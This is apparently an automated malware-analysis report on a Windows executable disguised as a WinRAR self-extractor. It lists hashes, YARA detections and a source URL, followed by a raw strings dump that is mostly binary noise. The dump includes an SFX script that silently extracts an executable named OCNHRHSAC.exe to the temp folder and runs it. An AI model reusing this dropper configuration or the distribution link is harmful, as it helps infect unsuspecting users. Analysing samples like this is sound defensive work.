Sample details: 66f99db81549cdad7ddc5e89b0ae3989 --

Hashes
MD5: 66f99db81549cdad7ddc5e89b0ae3989
SHA1: 598c92f5576716d259c7a17e3593574b9c50c109
SHA256: 18377ff415b2e978a0f5658bc4e838725b7e778f07a729c51cfd6b8825a587bc
SSDEEP: 24576:0k6+c2dm2ANRr2F0smGqf8W/guC8fi7gJKH5:0bHv2F0s5qf8qgu6wKZ
Details
File Type: PE32
Yara Hits
YRP/VC8_Microsoft_Corporation | YRP/Microsoft_Visual_Cpp_8 | YRP/IsPE32 | YRP/IsWindowsGUI | YRP/IsPacked | YRP/HasOverlay | YRP/HasDebugData | YRP/HasRichSignature | YRP/maldoc_find_kernel32_base_method_1 | YRP/domain | YRP/IP | YRP/url | YRP/contentis_base64 | YRP/Dropper_Strings | YRP/anti_dbg | YRP/escalate_priv | YRP/screenshot | YRP/win_registry | YRP/win_token | YRP/win_files_operation | YRP/CRC32_poly_Constant | YRP/RIPEMD160_Constants | YRP/SHA1_Constants |
Source
http://senseint.info/hero.exe
http://senseint.info/hero.exe
Strings
		!This program cannot be run in DOS mode.
`.rdata
@.data
.gfids
@.rsrc
@.reloc
D$(^VQP
f90tCSj\Zj_[f9
EX_^[d
t,j.Xj\f
u'SSSS
UVWj@_;
ulWj@X;
l$$VW3
uUf9.u
D$ j.Y
D$ f9_
t:j_[f9^
u*8O_t
jPXf9E
_^][YY
t)WPUS
j.[]f9
WVj\^f97uMf9w
v9Uj.]
Cj\Xf9
t=j ]f;
f9.t[S
u/j0]f
YY_^][
|$$;|$0
L$$;L$0
_^][YY
_^][YY
YY_^][
SVWj\_W
L$8+L$0
|$<A+|$4
t$$WSj
D$`VPW
jd^+L$8
|$0Pjd
E(3D$h
],3\$p
D$@3E$3u
3T$T3t$X3\$\3D$`
D$$3L$L
L$<3L$8
D$@3D$8
D$43D$
D$@3D$8
D$43D$
3D$<3D$8
|$Tj8[
?vUUj@^+
vzj@[+
t9Uj@]+
\$|AUV3
t	j-Xf
PSSSSSSh 
D$< 	C
D$@4	C
D$DL	C
D$Hd	C
D$L|	C
L$$+D$ 
D$$+L$ 
QQSUVW
_^][YY
D$ SUV
!N|+F|#
s2;V|t-
D$0;D$
9\$ v9
to9.uk
t$09KP
t$0;sP
L$09KPvG
s?;N|t:
F|9|$ sP
F|9|$ sP
9|$0sI
T$$;l$
;L$ |3;
s2;N|t-
F|9\$$sP
t`f9+tN
D$$PjE
ZuDf9V
,__f9~
v&j Yf;
tSf;L$
D$ j Zf
D$,+D$$PV
QD9] t
D$XXVVf
$SUVWj
t;VWj\_
j"Zj,2
t$,SVW
f98t=V
D$$PUV
f9=*!D
.u'f9O
Yj\Yf9
YYj"[f9
tfj"]f9+u
f9(tSVWS
\SUVWjh
Uj"]f;
D$(*1D
Cf9,Ft
tGWSSVU
D$lPh\
v	N+D$
QQSVWd
URPQQhP
;t$,v-
UQPXY]Y[
Tt1jhZ;
t	j-Xf
t0jXXf
~$+~8+
F2jgYf;
u0jAXf;
u0jAXf;
< t1<	t-
Wj0XPV
PPPPPWS
PP9E u:PPVWP
TVhX7C
WWWPWS
u-PWWS
SSVWh 
f9:t!V
QQSWj0j@
PPPPPPPP
v	N+D$
*messages***
CryptProtectMemory
CryptUnprotectMemory
xlistpos
SetDllDirectoryW
SetDefaultDllDirectories
Unknown exception
bad allocation
USER32.dll
GDI32.dll
COMDLG32.dll
ADVAPI32.dll
SHELL32.dll
ole32.dll
AcquireSRWLockExclusive
ReleaseSRWLockExclusive
SHLWAPI.dll
COMCTL32.dll
bad array new length
bad exception
FlsAlloc
FlsFree
FlsGetValue
FlsSetValue
InitializeCriticalSectionEx
__based(
__cdecl
__pascal
__stdcall
__thiscall
__fastcall
__vectorcall
__clrcall
__eabi
__ptr64
__restrict
__unaligned
restrict(
 delete
operator
`vftable'
`vbtable'
`vcall'
`typeof'
`local static guard'
`string'
`vbase destructor'
`vector deleting destructor'
`default constructor closure'
`scalar deleting destructor'
`vector constructor iterator'
`vector destructor iterator'
`vector vbase constructor iterator'
`virtual displacement map'
`eh vector constructor iterator'
`eh vector destructor iterator'
`eh vector vbase constructor iterator'
`copy constructor closure'
`udt returning'
`local vftable'
`local vftable constructor closure'
 new[]
 delete[]
`omni callsig'
`placement delete closure'
`placement delete[] closure'
`managed vector constructor iterator'
`managed vector destructor iterator'
`eh vector copy constructor iterator'
`eh vector vbase copy constructor iterator'
`dynamic initializer for '
`dynamic atexit destructor for '
`vector copy constructor iterator'
`vector vbase copy constructor iterator'
`managed vector copy constructor iterator'
`local static thread guard'
operator "" 
 Type Descriptor'
 Base Class Descriptor at (
 Base Class Array'
 Class Hierarchy Descriptor'
 Complete Object Locator'
`h````
xpxxxx
(null)
CorExitProcess
NAN(SNAN)
nan(snan)
NAN(IND)
nan(ind)
Sunday
Monday
Tuesday
Wednesday
Thursday
Friday
Saturday
January
February
August
September
October
November
December
MM/dd/yy
dddd, MMMM dd, yyyy
HH:mm:ss
 !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~
 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~
GetCurrentPackageId
LCMapStringEx
LocaleNameToLCID
[aOni*{
~ $s%r
@b;zO]
v2!L.2
1#QNAN
1#SNAN
?5Wg4p
"B <1=
_hypot
_nextafter
D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb
.text$di
.text$mn
.text$x
.text$yd
.idata$5
.00cfg
.CRT$XCA
.CRT$XCAA
.CRT$XCU
.CRT$XCZ
.CRT$XIA
.CRT$XIAA
.CRT$XIAC
.CRT$XIC
.CRT$XIZ
.CRT$XPA
.CRT$XPX
.CRT$XPXA
.CRT$XPZ
.CRT$XTA
.CRT$XTZ
.rdata
.rdata$r
.rdata$sxdata
.rdata$zzzdbg
.rtc$IAA
.rtc$IZZ
.rtc$TAA
.rtc$TZZ
.xdata$x
.didat$2
.didat$3
.didat$4
.didat$6
.didat$7
.edata
.idata$2
.idata$3
.idata$4
.idata$6
.data$r
.didat$5
.gfids$x
.gfids$y
.rsrc$01
.rsrc$02
ShowWindow
GetDlgItem
EnableWindow
SetWindowTextW
GetParent
SetWindowPos
GetSystemMetrics
GetWindowTextW
GetClientRect
GetWindowRect
GetWindowLongW
SetWindowLongW
SetProcessDefaultLayout
GetWindow
LoadStringW
OemToCharBuffA
CharUpperW
GetMessageW
TranslateMessage
DispatchMessageW
PeekMessageW
DefWindowProcW
RegisterClassExW
CreateWindowExW
IsWindow
DestroyWindow
UpdateWindow
MapWindowPoints
CopyRect
LoadCursorW
SendMessageW
ReleaseDC
MessageBoxW
FindWindowExW
GetClassNameW
wvsprintfW
PostMessageW
WaitForInputIdle
IsWindowVisible
DialogBoxParamW
EndDialog
SetDlgItemTextW
GetDlgItemTextW
SendDlgItemMessageW
SetFocus
SetForegroundWindow
GetSysColor
LoadBitmapW
LoadIconW
DestroyIcon
IsDialogMessageW
CreateCompatibleBitmap
CreateCompatibleDC
DeleteDC
DeleteObject
GetDeviceCaps
SelectObject
StretchBlt
CreateDIBSection
GetObjectW
GetOpenFileNameW
GetSaveFileNameW
CommDlgExtendedError
OpenProcessToken
AdjustTokenPrivileges
SetFileSecurityW
LookupPrivilegeValueW
AllocateAndInitializeSid
FreeSid
CheckTokenMembership
RegCloseKey
RegCreateKeyExW
RegOpenKeyExW
RegQueryValueExW
RegSetValueExW
SHGetMalloc
SHGetPathFromIDListW
SHBrowseForFolderW
SHFileOperationW
ShellExecuteExW
SHGetFileInfoW
SHGetFolderLocation
SHChangeNotify
CreateStreamOnHGlobal
CoCreateInstance
CLSIDFromString
OleInitialize
OleUninitialize
SHAutoComplete
InitCommonControlsEx
sfxrar.exe
GetLastError
SetLastError
GetCurrentProcess
DeviceIoControl
SetFileTime
CloseHandle
CreateDirectoryW
RemoveDirectoryW
CreateFileW
DeleteFileW
CreateHardLinkW
GetShortPathNameW
GetLongPathNameW
MoveFileW
GetFileType
GetStdHandle
WriteFile
ReadFile
FlushFileBuffers
SetEndOfFile
SetFilePointer
SetFileAttributesW
GetFileAttributesW
FindClose
FindFirstFileW
FindNextFileW
GetVersionExW
GetCurrentDirectoryW
GetFullPathNameW
FoldStringW
GetModuleFileNameW
GetModuleHandleW
FindResourceW
FreeLibrary
GetProcAddress
GetCurrentProcessId
ExitProcess
SetThreadExecutionState
LoadLibraryW
GetSystemDirectoryW
CompareStringW
AllocConsole
FreeConsole
AttachConsole
WriteConsoleW
GetProcessAffinityMask
CreateThread
SetThreadPriority
InitializeCriticalSection
EnterCriticalSection
LeaveCriticalSection
DeleteCriticalSection
SetEvent
ResetEvent
ReleaseSemaphore
WaitForSingleObject
CreateEventW
CreateSemaphoreW
GetSystemTime
SystemTimeToTzSpecificLocalTime
TzSpecificLocalTimeToSystemTime
SystemTimeToFileTime
FileTimeToLocalFileTime
LocalFileTimeToFileTime
FileTimeToSystemTime
GetCPInfo
IsDBCSLeadByte
MultiByteToWideChar
WideCharToMultiByte
GlobalAlloc
GetTickCount
LockResource
GlobalLock
GlobalUnlock
GlobalFree
LoadResource
SizeofResource
SetCurrentDirectoryW
GetExitCodeProcess
GetLocalTime
MapViewOfFile
UnmapViewOfFile
CreateFileMappingW
OpenFileMappingW
GetCommandLineW
SetEnvironmentVariableW
ExpandEnvironmentStringsW
GetTempPathW
MoveFileExW
GetLocaleInfoW
GetTimeFormatW
GetDateFormatW
GetNumberFormatW
KERNEL32.dll
GdipAlloc
GdipFree
GdipCloneImage
GdipDisposeImage
GdipCreateBitmapFromStream
GdipCreateBitmapFromStreamICM
GdipCreateHBITMAPFromBitmap
GdiplusStartup
GdiplusShutdown
gdiplus.dll
RaiseException
GetSystemInfo
VirtualProtect
VirtualQuery
LoadLibraryExA
IsProcessorFeaturePresent
IsDebuggerPresent
UnhandledExceptionFilter
SetUnhandledExceptionFilter
GetStartupInfoW
QueryPerformanceCounter
GetCurrentThreadId
GetSystemTimeAsFileTime
InitializeSListHead
TerminateProcess
RtlUnwind
EncodePointer
InitializeCriticalSectionAndSpinCount
TlsAlloc
TlsGetValue
TlsSetValue
TlsFree
LoadLibraryExW
QueryPerformanceFrequency
GetModuleHandleExW
GetModuleFileNameA
GetACP
HeapFree
HeapAlloc
HeapReAlloc
GetStringTypeW
LCMapStringW
FindFirstFileExA
FindNextFileA
IsValidCodePage
GetOEMCP
GetCommandLineA
GetEnvironmentStringsW
FreeEnvironmentStringsW
GetProcessHeap
SetStdHandle
HeapSize
GetConsoleCP
GetConsoleMode
SetFilePointerEx
DecodePointer
 (08@P`p
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
                          
abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLMNOPQRSTUVWXYZ
.?AW4RAR_EXIT@@
.?AVbad_alloc@std@@
.?AVexception@std@@
.?AVtype_info@@
.?AVbad_array_new_length@std@@
.?AVbad_exception@std@@
vuOuefweV$y
d{a?b\l
c_qQ_}
'_c?!k
r[T%e	
-[jE>y,
xT28FX
401pQm
o1CpQm0
!1Ip	P'w
3z.g-]`
,\`2E&X
om\^\p
SYc61r
u_Agr,
6y3&T.
Gv&F~2
QM~2^~
)'/<4t
ONIHFD
QDFGINO
p)UVVVVVVVVVVU
pRPsttttttttttsPR*TrrrrrrrrrrrrS*
quuuuuuuuuuuuq
90>2Y_ic
:/63Z\hd
;.14[Xae
<JL7]@Wf
=5?8^`jg
**++++++++++'f+++++++++*+*
kkkononnwnon'ynooonoonnnkk
kkooooowuwnw(ywooowoonnnnk
nnnmmmmuuuuu(xuumuuuuunnnn
nmujuujjiiii2xijijjjjjjmnn
mjiihhhhifff2tfffhhfhfgilm
lghdccbrrbbb2rbbbdrbbbeegi
ge88755555553:5545554788eg
vse`44434444443544444444579asv
_abwwwwowwwwwwwwwwwwwwwwwbap
LD?EIQI
LZW\\^\
&XY]{z
RJFJPSPC
UONOTVTM
233333333333333333,y333333333333333333
{|||||||||||||
|||||||||||||{{
uuuuuuuuuuuuuB
uuuuuuuuu}
uuuuuGuuGuuGHuu@}IuHIIIIIIJJJJuJz
~~~zzxIuuHuuG@GGGBD@G@HGG@BDDGDDGGHHIIwyz~~~
~}}zxw||
wxy}}~
"!''7<
!'(77<
RVX\ZP
%(78:>
ORWX\\P
%(89;>
RV`\\R
!&)89;>
RW`]\S
!&(89=>
RW``\S
%&)9;=>
]iffnrslrrl	
+2hjnqtq
/0//1gggnt
ammiosssttm	
.111gkjnq
a]TPPT\ba`U	
&)59;>
cc[RSV`aaa[
$6*!!&59;=
___^__dddd_^
MMMLLMNN
=8IDATx
3;drWR
'a?AHDh 4
4@Z`Z`6
*yMU+Z
)	 a45
~+*X5X5$jI
(_;G.Hf 7
Fr\6$O
us|m_&
D Q$q$-G
,-:6ux
`<$x1	(
3<;AHL
a;D-X7
V&J3eO
1#3otd3
!M9uu,
/JdaAF
F3!iX:]G
-8ix'	
$6e3!T
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<assemblyIdentity
  version="1.0.0.0"
  processorArchitecture="*"
  name="WinRAR SFX"
  type="win32"/>
<description>WinRAR SFX module</description>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v2">
  <security>
    <requestedPrivileges>
      <requestedExecutionLevel level="asInvoker"            
      uiAccess="false"/>
    </requestedPrivileges>
  </security>
</trustInfo>
<dependency>
  <dependentAssembly>
    <assemblyIdentity
      type="win32"
      name="Microsoft.Windows.Common-Controls"
      version="6.0.0.0"
      processorArchitecture="*"
      publicKeyToken="6595b64144ccf1df"
      language="*"/>
  </dependentAssembly>
</dependency>
<compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
  <application>
    <!--The ID below indicates application support for Windows Vista -->
      <supportedOS Id="{e2011457-1546-43c5-a5fe-008deee3d3f0}"/>
    <!--The ID below indicates application support for Windows 7 -->
      <supportedOS Id="{35138b9a-5d96-4fbd-8e2d-a2440225f93a}"/>
    <!--The ID below indicates application support for Windows 8 -->
      <supportedOS Id="{4a2f28e3-53b9-4441-ba9c-d69d4a4a6e38}"/>
    <!--The ID below indicates application support for Windows 8.1 -->
      <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/>
    <!--The ID below indicates application support for Windows 10 -->
      <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/>
  </application>
</compatibility>
<asmv3:application xmlns:asmv3="urn:schemas-microsoft-com:asm.v3">
  <asmv3:windowsSettings xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">
    <dpiAware>true</dpiAware>
  </asmv3:windowsSettings>
</asmv3:application>
</assembly>
0+0<0B0H0M0Y0c0m0y0
8:9w9g=T>>?
/696@6G6N6h6
;5=A=^=
>*>4>R>
>,?E?R?\?g?
1	2*2J2r2
3U3]3l3r3}3
869=9]9r9|9
;J<d<o<.>
2_3C6i7W9
:+:Q:|:
>.?5?p?
(1_1m1
4?5o5~5
:O:h<o<w<
>?>G>R>}>
>&?/?R?^?l?u?
0!1-191B1
2&2-2L2S2Z2a2h2o2v2}2
5!535?5X5_5q5{5
676A6b6i6z6
7;7N7[7m7
:1;@;O;^;
<M=V=`=
1$1T1v1
2 2(20282@2H2P2X2`2h2p2x2
3%303;3F3Q3\3g3r3}3
4"4-484C4N4Y4
4"5V5}5
727D7W7
858O8h8t8
919>9E9K9V9
:!:-:?:L:k:r:x:
=0D0W0\0?112=2A2E2I2M2Q2U2Y2]2a2e2i2m2q2u2y2}2
9.;@;m;
h=p=u=
2U4]4b4
4L5T5Y5Q7
060L0e0
809D9K9R9Y9`9
=!=D=n=
0"0=0X0s0
1(1@1I1
4*414a4i4
5$525C5h5
9-959;9A9
:%:2:R:
;;;E;K;
=<=I=|=
>->?>W>z>
>*?c?r?
E0P0k0
1!1>1K1S1Y1]1}1
1m2,3I3Y3m3
4'4]4u4
8(8H8N8U8h8u8
9*929V9
:7:?:U:h:v:
=%=1=D=K=Z=f=r=~=
>.>C>L>m>
?"?0?;?B?O?U?b?k?t?
0"0(0:0?0T0Z0u0
1+161@1I1W1b1n1w1}1
2"2/2b2v2
454K4a4
6D6J6{6K7S7_7i7u7
;*;h;|;
<;<D<M<
=-===E=
>'>,>7>C>Y>{>
C0J0Q0`0i0s0
1%103@3
4O4S4W4[4_4c4g4k4o4s4w4{4
5.565D5T5_5
636g6t6}6
7&7=7P7w7~7
9&959Q9_9f9l9w9
:":):0:C:L:U:k:s:
;=;Z;j;~;
<M<S<l<
="=-=3=8=>=O=V=
>(>8>E>[>
?C?V?d?v?~?
0B0^0g0r0x0~0
1+11181E1N1[1e1k1|1
2&202:2D2N2X2b2l2v2
3 3*343>3H3R3\3f3p3z3
4!4+454?4I4S4`4n4x4
5&505:5D5N5X5b5l5y5
6!6'6-666=6c6x6
62787F7U7[7b7k7
8&878D8]8r8y8
809Z9e9{9
:":(:=:
;&;3;A;N;^;d;j;p;v;|;
?S?f?y?
4#4(4-4N4S4`4
4U5q5w5
6L7U7]7
9+959F9l9
:+:F:R:a:j:w:
;%;-;2;X;];
<!<)<5<><C<I<S<]<m<}<
<p=D>W>u>
10h0o0t0x0|0
1 1$1(1,1
Z>^>b>f>j>n>r>v>z>~>
3(4/44484<4@4
:&:4:::U:}:
9!:=:]:k:r:x:
;#;+;U;q;
<4<@<E<J<n<z<
===O=[=e=w=|=
P1l1_3m3
8,8I8m8
:=:L:b:x:
:F;M;_;l;~;
<)</<C<
=!=Z=e=Z?
1(1-171<1G1R1f1
5K5P5]5i5
6"6(666?6D6Q6V6c6q6x6
7)868A8K8Q8e8q8
9(9Y:_:q:
=.=^={=
=#>=>W>
4Q4b4|4
=/=>=E=]=d=
0)0D0Q0_0m0x0
7I7P7[7i7p7v7
8F8_8n8z8
9"9'9B9L9h9s9x9}9
:":':,:M:]:y:
;4;W;b;o;
292@2G2N2h2w2
383S3e5
5)6>6L6U6
;&<-<4<;<y<
=<>E>]>o>
0+030\0c0
2-2?2Q2c2u2
.060m0t0y3
:*;W;w;
6&6B6a6
60i0~0
3R3\3w3N6
8!9-9A9M9Y9y9
:+:::>;o;
0-050E0V0
0#1N1s1
2E2Q2]2i2|2
4,5K5|5
8&8<8R8Z8
0+0?0E0
626R6o6
888J8\8y8
\2d2h2l2p2t2x2|2
3<5@5D5H5L5P5T5
0 0$0(0,0004080<0@0D0H0L0P0T0X0\0`0d0h0l0p0t0x0|0
9D9H9P9d9h9l9p9t9x9|9
; ;$;(;,;0;4;8;<;@;D;H;L;P;T;X;\;`;d;h;l;p;t;x;|;
< <$<(<,<0<4<8<<<@<D<H<L<P<T<X<\<`<d<h<l<p<t<x<|<
4 9$9(9,9094989<9@9D9H9L9P9T9X9\9`9d9h9l9p9t9x9|9
: :$:(:,:0:4:8:<:@:D:H:L:P:T:X:\:`:d:h:l:p:t:x:|:
2$2,242<2D2L2T2\2d2l2t2|2
3$3,343<3D3L3T3\3d3l3t3|3
4$4,444<4D4L4T4\4d4l4t4|4
5$5,545<5D5L5T5\5d5l5t5|5
6$6,646<6D6L6T6\6d6l6t6|6
7$7,747<7D7L7T7\7d7l7t7|7
8$8,848<8D8L8T8\8d8l8t8|8
3 3(30383@3H3P3X3`3h3p3x3
4 4(40484@4H4P4X4`4h4p4x4
5 5(50585@5H5P5X5`5h5p5x5
6 6(60686@6H6P6X6`6h6p6x6
7 7(70787@7H7P7X7`7h7p7x7
8 8(80888@8H8P8X8`8h8p8x8
9 9(90989@9H9P9X9`9h9p9x9
>$>,>4><>D>L>T>\>d>l>t>|> ?$?4?8?@?X?h?l?|?
0$0<0L0P0`0d0h0p0
646<6H6h6t6
7(7P7X7`7|7
8<8D8P8p8x8
8(949T9\9h9
:4:@:`:l:
; ;(;0;8;@;H;P;X;`;h;p;t;|;
<0<8<@<P<`<h<|<
=(=D=H=d=h=
>,>0>L>P>`>
? ?<?@?`?h?l?
0(0H0h0
1(1H1h1t1
0L1`1l1p1t1x1|1
3(3@3L3P3T3p3t3|3
809H9d9
: :$:,:0:4:8:<:@:D:H:L:T:X:\:`:d:h:l:p:x:
; ;$;(;,;0;4;8;<;@;D;H;L;T;X;\;`;d;
CMT;The comment below contains SFX script commands
Path=%temp%
Setup=OCNHRHSAC.exe
Silent=1
Overwrite=1
OCNHRHSAC.exe
;V4Mp}
U&&M>'
*I;2^o
8m7OB4Z
B$=%3jV
LGuTqi-v
4)Hb'd
aV[_}Y
Q0y(A?$<
'zYTao
c]ob{sN
	+Z}n*
&~^):9R9P
509s)s
xyGxL7
;U$Qd~
T0'/	fx
P~T$_f
YeI&zhLF%
ri)Ap.5
:b3"Ng!
*->R_~
]/	?>=Ub
P|e{Pe
KI?}u?.d
=YjLGB
v$vZc9/--
>U>e>u
O9O=OAO
ns@]:2&#
)4@h}P
ML'e8z
x/*:xz~
ngm=~a
,8VB!r
b?l?%W
Kxw\K!:
wfxt2D
'VjrM_I
W,!.Xj
t\iwL=\
DJ{<r6
t<c8_P
VT2#W`h
AQ`6Fx
Di6!+;
q tGf\-
!fjdl`-
t5pow<sUG
<XmV9`
:o14.J_eOD
{t20.~
?nXR=b?D1
CX9V0%id
]/T`[1
,`GA>xD
G'[EOJ
+AW0iK
rtJwTT
4#9,6rB
:_JZ&~w5h
@!y+Rk
!9$v=Ll
uJuu]]3
(dGu`'
y(,0sUq
s:ZQE#J
>([|5Q\MM
'QGO^3.
 Pa13phe
ji/%b^
eyW8vo
(3?BMQl
AUR"z{O9Y
~5[F7m
2{}XYk
v6 Gz7=	
u'uojY
z:/Hsv
0AewTJe
>+rA+c
@"+\t_
Y1k5|%c
<%A z\
D-$|w8p
B{.%`0
N!Xbr%
}=&6mV
 7tvcf
\4J7ce
S8S	Pc0
3_)wk.]/
';\;W9
gm[d[=Sa
K`=(Kz
0*t!6w
ANLygk@
Z6pP,|`!`
XP	0MfM
`g69bI
[mqBR>
XdAm+d
PD=X^T
%sgn$:6
DmYl]!
ge!5=6
|`~ g"
VJRyoQn
&LGQ#1~"
{]{sj^O
8=A*H>
u+PH~=
/~b,"C8
)Cz"`$
W;7R;r=
b"5sif
kE`}gJ
I.}6GDk
mM"	|w?J
u:=Fkk
Y[gSa!
Q8\/T9
P('_Gm
lZYh<O
(TUGP1
\Pj@W@
t	Tf	'
ZJbdj7a;o
}D-%9{
i"l1pl
2<N#TI
btDE|9b
F`==2%
2z6\%s
)hrrBu
20F%j}
r.Z1TUN\
N{>9p#
x1T bE
E^:$mB
#g <	r
zv|No-
ZW;smo<
pN:$Xc
7UqJKj8
.SJ7wO0L
?dkq/*
kL^\MXe
MMycBImd
^=EmGv
_$.L%!
%{@U Y
/Pm~?d/N
dhG&cR
248LFC
-o#WMa
Gy0Eso]jY
/6-'! ]I
N[P-\c
"y59sX
kL1GC8
GDG;%1
wg0Bbm
:ozfU9
wqot$nG
rqb;RkD
0<i^(9;6
eT2#W`g
<xH[bm
/dVP%~x
H06Eb`z
DeUX 7*
FxK!;3
)puhSuH
L(,_,N
En5XLv
*iU&Si
=9Q{3!
6fF@1<
m;=+?E
~Dy)t<
ioY_w}
F"X(w$
MgC'xM
ZT>4n2#
7e%Vb:
W&%:e^
JTxp:~
\O\1>e
Bg=G09
aAiM<>
@IykM{
Z(|)q]
2xbLi}
	DD]`I
a<|P:|_*cd#s
/wqvL?
i*8Ls+
m1n6-b^
u7[n,,
oN38H=}1
Ks7_|.Y|
qmI02tj
w	q~%z3
E-v>nN
(uXpz<o
xZNXKh
y=z#Up5
Y2KrL1
gN}efoG
$.<lrE
iAdXk>
muDqkq
7rI$	J
Y"Pn#P
0Djb0H
F!v&>c
0Q-4^U4
Ia^ 7Ps
UT2$G`W
Ai%HD`
?Wz{=C
/0dT3\
D=00^K
Ov:#R[o
4I^1"D
,?:,^u3
}17<$>0
R6)4HR
dtCZxP
`4g+y|oL
2|/|d%
}EPrf(
>>HVG;"S
Z8]~t=F@
),|Vk<
gu|m!n
^{+6MMn
nj&8R7
2`#%6-
sC_Gyv
8<	N9.`8"
7?X"JZ
98[0PD
?Tr[%Q
hI9dF<
("wv,%
^]OPV?
M[e=aR
LI2gUB
#<n+)0
iYF[YDB|lYA
GF/HMA
.s]()m
>zV]g[
B.17-Nbe
*`]|y>DHU
vOkp0s
OU`?5U
G:?mdH
.sSc!7
Q3sWjj
4vhS|Lp
OfQ^]y
Z"?\V-p
W9,Mu"
SN=Y8V
`L} sB$
yNY71H
&[Ds8wHY'
vBL#1D
UT2#Wph
<D$!p!
kxJygdX
+>q[2:
&80|su
K>l:Ep
Bn_!M)
~5)r~`
p.~>TX
IBp=}<
B`Z<[p
j4F(}b
/p^	$yA
M?O3)m
DQem7IS
pS{>e%
gtW %b
g;D=sT
et.T7}
7plf^A
b1jDgs
o0Z`m7
2<c+(R
Pr@0zq
v^U8?~(
|7u|{)
xP7'KE
<}-L/n
:}=91*
mqz =nN%
3d`u T
;+%VD5
msDfly
umI^6Q
_|4DCd
yg\r&(
w+\-}r0
;eQ&QUGO
|Iv<uac7W_
"CjQBn
S*# 3$
ih04AL.
7NGQV8
SC4W2:
e(r-][
%? T(MY
+Q)A P-
)IC_x	
70'J::^
GeKQZ,
TT2$V`h
(bfSrI
UmbmHJ7[
]Ox5N-
,i,qCc;
ZQo5+ 
;)YrQKnR
?)w_My
jXMU-%
!9%%/@O8Y
m`S9K1
e 7cjc
u"X,a{)n
}.}UBlH
c]ztYA`
cvDF;V9
?4/Tc1
$YVc?`
9`5K]?@C
+&TN*UX
9<$>*f
lr!H20r
5][1xz*z
W)9O,5ch9
u8Q$'<l
!~#^<{
t\&8_vN<
+7^6~9&1
b04nHM
Z*}8!p
N<S9YB
q~zrPN
;Jn=S^W+
Ap4=+y
=khfXuX
E*3EHX
t7+f.n
~@&^4~am[
x{Nt_i
E?O=J_
M2H2Yt
T.K_g7
3DxZ$o$y
494 2Q
_0]=y%
SSC$9+
_"(|a:
L|O^'?e
%3}	T2;
e.!04!0
>!(r+L
@wUD23o
xK<{!L
:t.]m.
C50	C:$
u,M*5RS
EZv]U>g
Fmdp}@F8
(DjD\W
vXEnUU
K`vSD"HhpGw
ALTQ\AQ
!m6tRa
&	%TXu2
RTI,6:
e%H"(td
Y2;:n[
;FB>b29A
 =zImyR
YN[F b
F DslC
PR3Rhd
9kY8ws
,b'\a8}
O#[;$%
T8NIRB
d.hOSrS(
U>J9eI
,RAU$S
RP])EtFB
OO{*_I
IMs:pq
VQwI032
?Y,w3-
{{E|^6
6)97J]
w)rB?I
kQT|:)
]Sydyt
	@)KRW
OCNHRH.bmp
0uDDD3?
Y`xU4]
LxGPJ.
z0g19[_9
z9s|/RnAA
&0b+lY
v,l6P;
(WEB|7
">X#LL
*j	7G?As
	)WFVH
0wDDD3?
q7<R%Y1
,7=]7f
<t],`x
YU11u"
(jxVN'
h^oq2c
/@Rz^}
,1JL`u
M>G%V^
(o"Tx|V1
H[?=+!Ka
(	GJ.%i
PwDU42?
?&2L}<
E`2&sf
0Bp-v5
tp$V%P
^2I9>E
5X	 T7
ar2Hh%0
aQqs8t
X*9[Vl
BPSedxm6
3uJvY_
LWp*|Lw
pXr1)g
|DwB6O
]y]?Yt
P$z6q;5<
`rMi~H
]RQ,<s
0<H(~T,_6&?
z6FO3;(
3U`=s9}
j@|c1Sx
L(#&LFA> J
Qj"O+(v&
j2y]VW-
OI!8j	
,`Vv-R
3 a>\2
@<RUUz
]E2"gb
&%?q+x1Gd
^&M{$-NG
*Z*7hc
VQt:]5
s|7}tt>
<g3qNN2/oS/
]d7[f&
:7s)'A
0-f%M}
:XSZz$S
m@XbEH
KKQUKE
*7jk^]=m
nb$*3*E=
Vx-FyE
|$OhjS=
74c*+C)
@,/at#
Ar]y1)
yC+;ac
L>r|y	Z
~`E6?P
^DT{)<^OA~{*
G3\Y}8
~zQq_,
j6~:Rd5
[SY a*{}
{AI!kL
"2~19?
CGZR(dc
j)</{9
&M/#JiT
KRWDDSOJO
6H| xs
A}6qGT
h;S3}J
MO`F_bfRR\LT>N
7$"3 +
&x<#7Au
*KiT'eb
)R)	;:
iE)1-	
o&xtG#M
PQt\Q~`M
.^q5j<
;^rj<)
UUTB%PFv
OSYmUk
[s'Nm%3
v21vHQ
9nprI9
G+mpt\
R}ENcS
jZl;j9Z
:[)6\$[0
=A.]"\
a]e*g2.
x\|!8%D
&2UkM{
=gfD!hI{
*Sj0)H
ZE\N# 
#h&Y|q}
eD<7Ma	E
%V:WI`t4
^l5;s6
Ll>@4NC
GSVYn>#T
`]<,q4
 ZUh&9
$1f41f
K`@H02v
JN<5;$
z`.HCB
MZe3"N
s8WwTUU3#
I&x(u8
YgSLPS
0{=ueI4
2s;]	y
6^w.}]
#iY^?k
'$p[#!
ZiijBrF
D~3:6h*
Rg:qxl-
Y)L8Lz
nLwM48cP
@haIH)
QvAMa1{
QVP**I
RiaenC
xLksx	
G{?5?;
"FI6Nk
d)7]k=
t(Axo>B
llo!I,
w"z&%J-
{"ggli
Ie3#2,
`E!6VG
9z>4["
K,vE~-
Fb9>,}
wf}Eup
eQx@PS
aR`tO'
P)XMIqr
`8gvTTD25
]]^%wj
P9.'5p
%:y<;FF
B1[:HP
PQ!6/6
uI5"_/
Mf23%cOj
}'8idu
RvP{!c
Wx{&xvm8V
.U f'	
YJC"AX
f8#(\H
1-cf):
p$=Cz#
rUW|]8Uh^9
c;g*o/
"3K6MXr'
!n :z/
YxVh>{~
5ISDdl
Vy[	qBF
.}1h&E
U)TtxH.
{J;.qK
